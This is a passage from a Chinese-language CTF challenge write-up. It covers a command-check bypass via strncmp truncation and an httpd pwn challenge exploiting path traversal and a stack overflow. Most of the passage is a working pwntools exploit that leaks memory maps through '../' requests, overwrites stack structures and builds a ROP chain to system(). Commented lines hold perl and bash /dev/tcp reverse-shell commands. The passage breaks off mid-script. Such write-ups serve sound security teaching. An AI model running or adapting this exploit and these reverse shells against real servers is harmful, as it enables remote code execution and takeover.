lMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;">预期的题目解法是通过逆向发现， 判断是否合法的命令的时候的代码如下：</span></p></article><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer">  len = <span style="color: rgb(202, 125, 55);">strlen</span>(s2);</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">if</span> ( len )</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">      v7 = <span style="color: rgb(14, 156, 229);">0</span>;</span></code><code><span class="code-snippet_outer">      v10 = support_command_list[<span style="color: rgb(14, 156, 229);">0</span>];</span></code><code><span class="code-snippet_outer">      <span style="color: rgb(202, 125, 55);">while</span> ( <span style="color: rgb(202, 125, 55);">strncmp</span>(v10, s2, len) )</span></code><code><span class="code-snippet_outer">      {</span></code><code><span class="code-snippet_outer">        v10 = support_command_list[++v7];</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">if</span> ( !support_command_list[v7] )</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">          <span style="color: rgb(202, 125, 55);">strcpy</span>(a2, <span style="color: rgb(221, 17, 68);">&#34;Not Support 4. \n&#34;</span>);</span></code><code><span class="code-snippet_outer">          <span style="color: rgb(202, 125, 55);">return</span> __readfsqword(<span style="color: rgb(14, 156, 229);">0x28</span>u) ^ v23;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">      }</span></code></pre></section><article data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;">其中 s2 是用户的输入， 因此会发现</span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">strncmp</span><span style="font-size: 15px;">的第三个参数也是用户可控的，因此这里有个经典的截断问题。当我们输入</span><span style="font-size: 15px;background-color: rgb(214, 214, 214);"> sh</span><span style="font-size: 15px;">的时候， 会出现这样的情况：</span><span style="font-size: 15px;background-color: rgb(214, 214, 214);"> strncmp(&#34;showKey&#34;, &#34;sh&#34;, 2)</span><span style="font-size: 15px;">, 因此我们可以通过如下的方法获取 flag</span></p><p><span style="font-size: 15px;background-color: rgb(214, 214, 214);">sh -c &#34;cat ./flag&#34;</span></p><p><span style="font-size: 15px;">此外我们发现有些选手用了 </span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">date -f /flag </span><span style="font-size: 15px;">的方法读到了 flag。</span></p><p><br/></p></article><p style=""><br/></p><section data-role="title" data-tools="135编辑器" data-id="138191" style=""><section style="margin: 10px auto;display: flex;align-items: center;"><section style="flex-shrink: 0;display: flex;align-items: center;"><section style="padding-top: 4px;padding-bottom: 4px;"><section style="padding-right: 4px;padding-left: 4px;border-width: 1px;border-style: solid;border-color: rgb(215, 227, 188);"><section style="background-color: rgb(146, 208, 80);width: 2.2em;height: 2.2em;display: flex;justify-content: center;align-items: center;"><section style="font-size: 16px;color: rgb(255, 255, 255);text-align: center;"><strong>11</strong></section></section></section></section><section style="padding-right: 10px;padding-left: 10px;color: rgb(146, 208, 80);text-align: center;"><strong><span style="text-align: left;">Be-an-HTTPd-Hacker</span></strong></section></section><section data-width="100%" style="width: 100%;border-top: 1px solid rgb(215, 227, 188);height: 1px;overflow: hidden;"><br/></section><section style="flex-shrink: 0;"><section style="width: 22px;height: 0px;overflow: hidden;"><br/></section></section></section></section><p style=""><br/></p><article data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;background-color: rgb(214, 214, 214);">Pwn</span><span style="font-size: 15px;">, </span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">difficulty:Normal</span></p><p><br/></p><p><span style="font-size: 15px;">这个题目直接使用了开源代码<a href="https://github.com/bnlf/httpd/。这份代码存在至少两个漏洞：" target="_blank">https://github.com/bnlf/httpd/。这份代码存在至少两个漏洞：</a></span></p><p><span style="font-size: 15px;">1.  跨目录读取文件。攻击者传入的文件路径未做任何处理直接拼接，通过../可以实现任意文件读取。因为权限问题该漏洞不能直接读取flag，但可以被用来读取/proc/[httpd-pid]/maps实现信息泄露。</span></p></article><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span style="color: rgb(175, 175, 175);font-style: italic;">// <a href="https://github.com/bnlf/httpd/blob/master/src/httpd.c#L69" target="_blank">https://github.com/bnlf/httpd/blob/master/src/httpd.c#L69</a></span></span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">strcpy</span>(fileBuffer, WWW_ROOT);  </span></code><code><span class="code-snippet_outer">  <span style="color: rgb(175, 175, 175);font-style: italic;">// Arquivo do request</span></span></code><code><span class="code-snippet_outer">  <span style="color: rgb(202, 125, 55);">if</span>(req.uri) {</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">strcat</span>(fileBuffer, req.uri);  </span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span style="color: rgb(175, 175, 175);font-style: italic;">// Se terminado em /, abre o arquivo padrao</span></span></code><code><span class="code-snippet_outer">  <span style="color: rgb(202, 125, 55);">if</span>(<span style="color: rgb(202, 125, 55);">strcmp</span>(&amp;fileBuffer[<span style="color: rgb(202, 125, 55);">strlen</span>(fileBuffer)<span style="color: rgb(14, 156, 229);">-1</span>], <span style="color: rgb(221, 17, 68);">&#34;/&#34;</span>) == <span style="color: rgb(14, 156, 229);">0</span>) {</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">strcat</span>(fileBuffer,<span style="color: rgb(221, 17, 68);">&#34;index.html&#34;</span>);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span style="color: rgb(175, 175, 175);font-style: italic;">// Verifica se arquivo existe no servidor</span></span></code><code><span class="code-snippet_outer">  <span style="color: rgb(202, 125, 55);">if</span>(stat(fileBuffer, &amp;st) == <span style="color: rgb(14, 156, 229);">-1</span>) {</span></code><code><span class="code-snippet_outer">    res.status = <span style="color: rgb(14, 156, 229);">404</span>; <span style="color: rgb(175, 175, 175);font-style: italic;">// File not Found</span></span></code><code><span class="code-snippet_outer">    res.fileName = <span style="color: rgb(221, 17, 68);">&#34;404.html&#34;</span>;</span></code><code><span class="code-snippet_outer">  } <span style="color: rgb(202, 125, 55);">else</span> {</span></code><code><span class="code-snippet_outer">    res.status = <span style="color: rgb(14, 156, 229);">200</span>; <span style="color: rgb(175, 175, 175);font-style: italic;">// ok</span></span></code><code><span class="code-snippet_outer">    res.fileName = fileBuffer;</span></code><code><span class="code-snippet_outer">  }</span></code></pre></section><p style=""><span style="font-size: 15px;">2. 栈溢出。以下代码的while循环会将HTTP body中的键值对按照&lt;tr&gt;&lt;td&gt;%s&lt;/td&gt;和&lt;td&gt;%s&lt;/td&gt;&lt;/tr&gt;的格式进行扩展，然后拷贝到栈上固定长度(MAXLINE)的缓冲区中。这里虽然原始输入的长度不能超过MAXLINE，但多次循环、经过扩展后最终的长度可以超过MAXLINE，发生栈溢出。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span style="color: rgb(175, 175, 175);font-style: italic;">// <a href="https://github.com/bnlf/httpd/blob/master/src/httpd.c#L183" target="_blank">https://github.com/bnlf/httpd/blob/master/src/httpd.c#L183</a></span></span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">char</span> buffer[MAXLINE];</span></code><code><span class="code-snippet_outer">  <span style="color: rgb(175, 175, 175);font-style: italic;">//Prepara cabecalho HTML</span></span></code><code><span class="code-snippet_outer">  <span style="color: rgb(202, 125, 55);">sprintf</span>(buffer, <span style="color: rgb(221, 17, 68);">&#34;&lt;html&gt;&lt;head&gt;&lt;title&gt;Submitted Form&lt;/title&gt;&lt;/head&gt;&#34;</span>);</span></code><code><span class="code-snippet_outer">  <span style="color: rgb(175, 175, 175);font-style: italic;">//Cria body</span></span></code><code><span class="code-snippet_outer">  <span style="color: rgb(202, 125, 55);">strcat</span>(buffer, <span style="color: rgb(221, 17, 68);">&#34;&lt;body&gt;&lt;h1&gt;Received variables&lt;/h1&gt;&lt;br&gt;&lt;table&gt;&#34;</span>);</span></code><code><span class="code-snippet_outer">  <span style="color: rgb(202, 125, 55);">strcat</span>(buffer, <span style="color: rgb(221, 17, 68);">&#34;&lt;tr&gt;&lt;th&gt;Variables&lt;/th&gt;&lt;th&gt;Values&lt;/th&gt;&lt;/tr&gt;&#34;</span>);</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">char</span> * pch;</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">char</span> temp[<span style="color: rgb(14, 156, 229);">250</span>];</span></code><code><span class="code-snippet_outer">  pch = strtok (linePost,<span style="color: rgb(221, 17, 68);">&#34;&amp;=&#34;</span>);</span></code><code><span class="code-snippet_outer">  <span style="color: rgb(202, 125, 55);">while</span> (pch != <span style="color: rgb(14, 156, 229);">NULL</span>)</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">sprintf</span>(temp, <span style="color: rgb(221, 17, 68);">&#34;&lt;tr&gt;&lt;td&gt;%s&lt;/td&gt;&#34;</span>, pch);</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">strcat</span>(buffer, temp);</span></code><code><span class="code-snippet_outer">    pch = strtok (<span style="color: rgb(14, 156, 229);">NULL</span>, <span style="color: rgb(221, 17, 68);">&#34;&amp;=&#34;</span>);</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">sprintf</span>(temp, <span style="color: rgb(221, 17, 68);">&#34;&lt;td&gt;%s&lt;/td&gt;&lt;/tr&gt;&#34;</span>, pch);</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">strcat</span>(buffer, temp);</span></code><code><span class="code-snippet_outer">    pch = strtok (<span style="color: rgb(14, 156, 229);">NULL</span>, <span style="color: rgb(221, 17, 68);">&#34;&amp;=&#34;</span>);</span></code><code><span class="code-snippet_outer">  }</span></code></pre></section><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx4tbl6u5u4qsuqwyc&#39;,&#39;ind&#39;:{&#39;left&#39;:0}},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;两个漏洞连用，攻击者可以实现任意代码执行。exploit代码如下：&#39;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJscng0dGJsNnU1dTRxc3Vxd3ljJTIyJTJDJTIyaW5kJTIyJTNBJTdCJTIybGVmdCUyMiUzQTAlN0QlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlRTQlQjglQTQlRTQlQjglQUElRTYlQkMlOEYlRTYlQjQlOUUlRTglQkYlOUUlRTclOTQlQTglRUYlQkMlOEMlRTYlOTQlQkIlRTUlODclQkIlRTglODAlODUlRTUlOEYlQUYlRTQlQkIlQTUlRTUlQUUlOUUlRTclOEUlQjAlRTQlQkIlQkIlRTYlODQlOEYlRTQlQkIlQTMlRTclQTAlODElRTYlODklQTclRTglQTElOEMlRTMlODAlODJleHBsb2l0JUU0JUJCJUEzJUU3JUEwJTgxJUU1JUE2JTgyJUU0JUI4JThCJUVGJUJDJTlBJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;">两个漏洞连用，攻击者可以实现任意代码执行。exploit代码如下：</span></p></article><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"><span class="code-snippet__comment">#!/usr/bin/env python3</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> pwn <span class="code-snippet__keyword">import</span> *</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> sys</span></code><code><span class="code-snippet_outer">context.arch = <span class="code-snippet__string">&#34;i386&#34;</span></span></code><code><span class="code-snippet_outer">context.log_level = <span class="code-snippet__string">&#34;debug&#34;</span></span></code><code><span class="code-snippet_outer">elf = ELF(<span class="code-snippet__string">&#34;./httpd&#34;</span>, checksec = <span class="code-snippet__keyword">False</span>)</span></code><code><span class="code-snippet_outer">libc = ELF(<span class="code-snippet__string">&#34;./libc.so.6&#34;</span>, checksec=<span class="code-snippet__keyword">False</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># libc = elf.libc</span></span></code><code><span class="code-snippet_outer">host = <span class="code-snippet__string">&#34;127.0.0.1&#34;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">#port = 39188</span></span></code><code><span class="code-snippet_outer">port = int(sys.argv[<span class="code-snippet__number">1</span>])</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">retrieve_file</span><span class="code-snippet__params">(path)</span>:</span></span></code><code><span class="code-snippet_outer">    payload = <span class="code-snippet__string">f&#39;&#39;&#39;</span></span></code><code><span class="code-snippet_outer">GET /../../../../../../../../../../../..<span class="code-snippet__subst">{path}</span> HTTP/1.1\r\n\r\n&#39;&#39;&#39;</span></code><code><span class="code-snippet_outer">    io = remote(host, port)</span></code><code><span class="code-snippet_outer">    io.send(payload.lstrip().encode(<span class="code-snippet__string">&#34;latin-1&#34;</span>))</span></code><code><span class="code-snippet_outer">    cont = io.recv()</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> <span class="code-snippet__string">b&#39;HTTP/1.1 200 OK\r\n&#39;</span> <span class="code-snippet__keyword">in</span> cont:</span></code><code><span class="code-snippet_outer">        cont = io.recv()</span></code><code><span class="code-snippet_outer">    io.close()</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> cont</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">leak</span><span class="code-snippet__params">()</span>:</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> pid <span class="code-snippet__keyword">in</span> range(<span class="code-snippet__number">0</span>, <span class="code-snippet__number">200</span>):</span></code><code><span class="code-snippet_outer">        elf_path = <span class="code-snippet__string">b&#34;/home/httpd&#34;</span></span></code><code><span class="code-snippet_outer">        libc_path = <span class="code-snippet__string">b&#34;usr/lib/i386-linux-gnu/libc.so.6&#34;</span></span></code><code><span class="code-snippet_outer">        file = <span class="code-snippet__string">f&#34;/proc/<span class="code-snippet__subst">{pid}</span>/maps&#34;</span></span></code><code><span class="code-snippet_outer">        cont = retrieve_file(file)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment"># print(cont)</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span>:</span></code><code><span class="code-snippet_outer">            maps = cont.split(<span class="code-snippet__string">b&#34;\r\n\r\n&#34;</span>)[<span class="code-snippet__number">1</span>]</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment"># print(maps)</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment"># breakpoint()</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> elf_path <span class="code-snippet__keyword">in</span> maps:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment"># print(&#34;find {}&#34;.format(pid))</span></span></code><code><span class="code-snippet_outer">                heap = <span class="code-snippet__number">0</span></span></code><code><span class="code-snippet_outer">                stack = <span class="code-snippet__number">0</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">for</span> line <span class="code-snippet__keyword">in</span> maps.split(<span class="code-snippet__string">b&#34;\n&#34;</span>):</span></code><code><span class="code-snippet_outer">                    address_range, permissions, offset, device, inode, mapped_file = line.split()[:<span class="code-snippet__number">6</span>] <span class="code-snippet__keyword">if</span> len(line.split()) &gt;= <span class="code-snippet__number">6</span> <span class="code-snippet__keyword">else</span> (<span class="code-snippet__string">b&#34;&#34;</span>, <span class="code-snippet__string">b&#34;&#34;</span>, <span class="code-snippet__string">b&#34;&#34;</span>, <span class="code-snippet__string">b&#34;&#34;</span>, <span class="code-snippet__string">b&#34;&#34;</span>, <span class="code-snippet__string">b&#34;&#34;</span>)</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> heap == <span class="code-snippet__number">0</span> <span class="code-snippet__keyword">and</span> <span class="code-snippet__string">b&#34;[heap]&#34;</span> <span class="code-snippet__keyword">in</span> mapped_file:</span></code><code><span class="code-snippet_outer">                        heap = int(address_range.split(<span class="code-snippet__string">b&#34;-&#34;</span>)[<span class="code-snippet__number">0</span>], <span class="code-snippet__number">16</span>)</span></code><code><span class="code-snippet_outer">                        print(<span class="code-snippet__string">&#34;heap @ {:#x}&#34;</span>.format(heap))</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">continue</span></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> stack == <span class="code-snippet__number">0</span> <span class="code-snippet__keyword">and</span> <span class="code-snippet__string">b&#34;[stack]&#34;</span> <span class="code-snippet__keyword">in</span> mapped_file:</span></code><code><span class="code-snippet_outer">                        stack = int(address_range.split(<span class="code-snippet__string">b&#34;-&#34;</span>)[<span class="code-snippet__number">0</span>], <span class="code-snippet__number">16</span>)</span></code><code><span class="code-snippet_outer">                        print(<span class="code-snippet__string">&#34;stack @ {:#x}&#34;</span>.format(stack))</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">continue</span></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> elf.address == <span class="code-snippet__number">0</span> <span class="code-snippet__keyword">and</span> elf_path <span class="code-snippet__keyword">in</span> mapped_file:</span></code><code><span class="code-snippet_outer">                        elf.address = int(address_range.split(<span class="code-snippet__string">b&#34;-&#34;</span>)[<span class="code-snippet__number">0</span>], <span class="code-snippet__number">16</span>)</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__comment"># breakpoint()</span></span></code><code><span class="code-snippet_outer">                        print(<span class="code-snippet__string">&#34;elf @ {:#x}&#34;</span>.format(elf.address))</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">continue</span></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> libc.address == <span class="code-snippet__number">0</span> <span class="code-snippet__keyword">and</span> libc_path <span class="code-snippet__keyword">in</span> mapped_file:</span></code><code><span class="code-snippet_outer">                        libc.address = int(address_range.split(<span class="code-snippet__string">b&#34;-&#34;</span>)[<span class="code-snippet__number">0</span>], <span class="code-snippet__number">16</span>)</span></code><code><span class="code-snippet_outer">                        print(<span class="code-snippet__string">&#34;libc  @ {:#x}&#34;</span>.format(libc.address))</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__comment"># breakpoint()</span></span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">continue</span></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (heap &amp; stack &amp; elf.address &amp; libc.address) != <span class="code-snippet__number">0</span>:</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">return</span> (heap, stack)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">except</span>:</span></code><code><span class="code-snippet_outer">            print(<span class="code-snippet__string">&#34;error&#34;</span>)</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">continue</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">else</span>:</span></code><code><span class="code-snippet_outer">        print(<span class="code-snippet__string">&#34;not found&#34;</span>)</span></code><code><span class="code-snippet_outer">        exit(<span class="code-snippet__number">-1</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">overflow</span><span class="code-snippet__params">(addrs)</span>:</span></span></code><code><span class="code-snippet_outer">    heap, stack = addrs</span></code><code><span class="code-snippet_outer">    io = remote(host, port)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># 0x30 + 0x2c + 0x2a = 0x86</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># 0xf: &#39;&lt;tr&gt;&lt;td&gt;\nk&lt;/td&gt;&#39;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># 0xf: &#39;&lt;td&gt;v&lt;/td&gt;&lt;/tr&gt;&#39;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># 0xe: &#39;&lt;tr&gt;&lt;td&gt;k&lt;/td&gt;&#39;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># 0xf: &#39;&lt;td&gt;v&lt;/td&gt;&lt;/tr&gt;&#39;</span></span></code><code><span class="code-snippet_outer">    padding =  <span class="code-snippet__string">b&#34;k=v&amp;&#34;</span> * <span class="code-snippet__number">0x88</span> <span class="code-snippet__comment"># 0x88 * (0xe + 0xf) + 1 + 0x86 = 0xfef</span></span></code><code><span class="code-snippet_outer">    padding += <span class="code-snippet__string">b&#34;p=&#34;</span> <span class="code-snippet__comment"># 0xfef + 0xe(&#34;&lt;tr&gt;&lt;td&gt;p&lt;/td&gt;&#34;) + 0x4(&#34;&lt;td&gt;&#34;) = 0x1001</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#39;&#39;&#39;</span></span></code><code><span class="code-snippet_outer">-00001028 buffer db 4096 dup(?)</span></code><code><span class="code-snippet_outer">-00000028 res_1 response ?</span></code><code><span class="code-snippet_outer">-0000001C var_1C dd ?</span></code><code><span class="code-snippet_outer">-00000018 req_1 request ?</span></code><code><span class="code-snippet_outer">-0000000C var_C db 12 dup(?)</span></code><code><span class="code-snippet_outer">+00000000  s db 4 dup(?)</span></code><code><span class="code-snippet_outer">+00000004  r db 4 dup(?)</span></code><code><span class="code-snippet_outer">+00000008 arg_0 request ?</span></code><code><span class="code-snippet_outer">+00000014 arg_C response ?</span></code><code><span class="code-snippet_outer">+00000020 connfd dd ?</span></code><code><span class="code-snippet_outer">+00000024 linePost dd ?</span></code><code><span class="code-snippet_outer">    &#39;&#39;&#39;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#39;&#39;&#39;</span></span></code><code><span class="code-snippet_outer">/**</span></code><code><span class="code-snippet_outer">* Estrutura da resposta.</span></code><code><span class="code-snippet_outer">* @status: id do status de retorno</span></code><code><span class="code-snippet_outer">* @vProtocol: Versao do protocolo HTTP</span></code><code><span class="code-snippet_outer">* @fileName: Nome do arquivo em disco da requisicao</span></code><code><span class="code-snippet_outer">*/</span></code><code><span class="code-snippet_outer">typedef struct {</span></code><code><span class="code-snippet_outer">  int status;</span></code><code><span class="code-snippet_outer">  char *vProtocol;</span></code><code><span class="code-snippet_outer">  char *fileName;</span></code><code><span class="code-snippet_outer">} response;</span></code><code><span class="code-snippet_outer">    &#39;&#39;&#39;</span></code><code><span class="code-snippet_outer">    payload =  <span class="code-snippet__string">b&#39;111&#39;</span> <span class="code-snippet__comment"># res.status</span></span></code><code><span class="code-snippet_outer">    payload += flat(elf.address + <span class="code-snippet__number">0x306b</span>) <span class="code-snippet__comment"># res.vProtocol</span></span></code><code><span class="code-snippet_outer">    payload += flat(stack + <span class="code-snippet__number">0x1c29c</span>) <span class="code-snippet__comment"># res.fileName</span></span></code><code><span class="code-snippet_outer">    payload += <span class="code-snippet__string">b&#39;aaaa&#39;</span> <span class="code-snippet__comment"># padding</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#39;&#39;&#39;</span></span></code><code><span class="code-snippet_outer">/**</span></code><code><span class="code-snippet_outer">* Estrutura da requisição.</span></code><code><span class="code-snippet_outer">* @method: Tipo de requisicao (GET/POST)</span></code><code><span class="code-snippet_outer">* @uri: Endereco para arquivo no servidor</span></code><code><span class="code-snippet_outer">* @vProtocol: Versao do protocolo HTTP</span></code><code><span class="code-snippet_outer">*/</span></code><code><span class="code-snippet_outer">typedef struct {</span></code><code><span class="code-snippet_outer">  char *method;</span></code><code><span class="code-snippet_outer">  char *uri;</span></code><code><span class="code-snippet_outer">  char *vProtocol;</span></code><code><span class="code-snippet_outer">} request;</span></code><code><span class="code-snippet_outer">    &#39;&#39;&#39;</span></code><code><span class="code-snippet_outer">    payload += flat(elf.address + <span class="code-snippet__number">0x3008</span>) <span class="code-snippet__comment"># req.method</span></span></code><code><span class="code-snippet_outer">    payload += flat(stack + <span class="code-snippet__number">0x191fc</span>) <span class="code-snippet__comment"># req.uri</span></span></code><code><span class="code-snippet_outer">    payload += flat(elf.address + <span class="code-snippet__number">0x305c</span>) <span class="code-snippet__comment"># req.vProtocol</span></span></code><code><span class="code-snippet_outer">    payload += <span class="code-snippet__string">b&#39;bbbbbbbbbbbb&#39;</span> <span class="code-snippet__comment"># padding</span></span></code><code><span class="code-snippet_outer">    payload += <span class="code-snippet__string">b&#39;cccc&#39;</span> <span class="code-snippet__comment"># ebp</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># ropchain = flat(0xdeadbeef)</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># ropchain += cyclic(0x20)</span></span></code><code><span class="code-snippet_outer">    ropchain = flat([</span></code><code><span class="code-snippet_outer">        libc.sym[<span class="code-snippet__string">&#34;system&#34;</span>],</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__number">0x12345678</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">#stack + stack_offset,</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">#stack + 0x1c4e8,</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">#heap + 0x81a</span></span></code><code><span class="code-snippet_outer">        heap + <span class="code-snippet__number">0x141a</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">#0x57c7381a</span></span></code><code><span class="code-snippet_outer">    ])</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># cmd = b&#34;&#34;&#34;perl -MIO::Socket::INET -e &#39;$c=new IO::Socket::INET(PeerAddr,&#34;127.0.0.1:54321&#34;);STDIN-&gt;fdopen($c,r);$~-&gt;fdopen($c,w);system$_ while&lt;&gt;;&#39;;#&#34;&#34;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># <a href="https://gchq.github.io/CyberChef/#recipe=To_Hex(" target="_blank">https://gchq.github.io/CyberChef/#recipe=To_Hex(</a>&#39;%5C%5Cx&#39;,0)&amp;input=YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY%2BL2Rldi90Y3AvMTI3LjAuMC4xLzU0MzIxIDwmMSc</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># cmd = br&#34;&#34;&#34;echo -e &#39;bash -c &#34;exec bash -i \x26&gt;/dev/tcp/127.0.0.1/54321 &lt;\x261&#34;&#39; 